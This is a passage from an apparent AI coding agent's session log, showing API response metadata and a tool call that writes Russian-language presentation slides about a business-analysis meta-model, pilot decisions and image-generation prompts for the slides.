\u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\\n  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\\n  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\\n  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\\n  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nThree illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\\n---\\n\\n## \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\\n| --- | --- |\\n| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\\n| 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\\n| `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\\n| 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 5 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 | [\u0442\u0435\u043e\u0440\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md) |\\n| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\\n| Release \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c | [\u0413-16](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) |\\n| \u0423 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 n1\u2013n3 | [\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md) |\\n\"\n[2026-09-29T07:49:33.529Z] [INFO]         },\n[2026-09-29T07:49:33.529Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:33.529Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:33.529Z] [INFO]         }\n[2026-09-29T07:49:33.529Z] [INFO]       }\n[2026-09-29T07:49:33.529Z] [INFO]     ],\n[2026-09-29T07:49:33.529Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:33.529Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:33.529Z] [INFO]       \"cache_creation_input_tokens\": 3247,\n[2026-09-29T07:49:33.529Z] [INFO]       \"cache_read_input_tokens\": 58806,\n[2026-09-29T07:49:33.529Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:33.529Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:33.529Z] [INFO]         \"ephemeral_1h_input_tokens\": 3247\n[2026-09-29T07:49:33.529Z] [INFO]       },\n[2026-09-29T07:49:33.529Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:49:33.529Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:33.529Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:33.529Z] [INFO]     },\n[2026-09-29T07:49:33.529Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:33.529Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:33.529Z] [INFO]   },\n[2026-09-29T07:49:33.529Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:33.529Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"uuid\": \"a10db479-14a4-455a-88bd-0580451013c0\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:32.666Z\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"request_id\": \"req_011CfXMx3NUvwiWcYL9wTqhP\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:49:33.529Z] [INFO]     \"toolu_01V7BP9qiNijimiUJdzdmZen\": {\n[2026-09-29T07:49:33.529Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:49:33.529Z] [INFO]       \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u043b\u0430\u0439\u0434\u044b\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\nMango. \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2014 \u0441\u043b\u0430\u0439\u0434\u044b. \u0423\u0441\u0442\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b\\n\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2014 \u0432\\n[\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.\\n\\n## \u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\n\\n- **Assertion-Evidence.** \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0430\u0439\u0434\u0430 \u2014 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u043d\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435\\n  \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. \u0422\u0435\u043b\u043e \u2014 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e: \u0441\u0445\u0435\u043c\u0430, \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430, \u0430 \u043d\u0435\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n- **\u041e\u0434\u0438\u043d \u0441\u043b\u0430\u0439\u0434 \u2014 \u043e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c.** 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u043e\u0434\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430. \u0412\u0441\u0451, \u0447\u0442\u043e\\n  \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n- **\u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0435\u0441\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0433\u0434\u0435 \u043e\u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430. \u0427\u0438\u0441\u043b\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0438.\\n- **\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.** \u0414\u043b\u044f \u044d\u0442\u0430\u043f\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0438 \u0441\u0440\u0435\u0434 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442,\\n  \u0447\u0442\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u0438 \u0447\u0442\u043e \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\\n  \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u0447\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n- **\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430:** \u0445\u0430\u043e\u0441 \u0441\u044b\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n\\n### \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u043c \u0431\u043b\u043e\u043a\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n\\n| \u0411\u043b\u043e\u043a \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | \u0421\u043b\u0430\u0439\u0434 |\\n| --- | --- |\\n| \u2014 (\u0442\u0438\u0442\u0443\u043b) | 1 |\\n| 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f | 2 |\\n| 2. \u0411\u043e\u043b\u044c | 3 |\\n| \u2014 (\u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438) | 4 |\\n| 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 5 |\\n| 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 | 6 |\\n| 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\\n| 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\\n| 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\\n| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\n\\n\u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n\u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n### \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n\\n\u0412\u0441\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0438\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c: \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442 \u0435\u0433\u043e\\n\u0442\u043e\u0447\u043d\u0435\u0435. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u043c \u0441\u0442\u0438\u043b\u0435\u0432\u044b\u043c \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0430\u0439\u0434\u044b\\n\u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0435\u0440\u0438\u044f:\\n\\n```text\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n\u0414\u043b\u044f Midjourney \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 `--ar 16:9 --style raw`; \u0434\u043b\u044f DALL-E \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\\n1792\u00d71024. \u041d\u0430\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f: \u0442\u0435\u043a\u0441\u0442 \u0441\u043b\u0430\u0439\u0434\u0430 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u043d\u0430\u0447\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0438\u0441\u043a\u0430\u0437\u0438\u0442 \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0443.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u041f\u043e\u0434\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a:** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango: \u043e\u0442 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0441 fail-closed \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439.\\n\\n- \u041e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026.\\n- 69 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n- \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0432\u0435\u043a\u0442\u043e\u0440 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u044f\u0434\u0440\u043e.\\n\\n> **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c:** \u043c\u044b \u043d\u0435 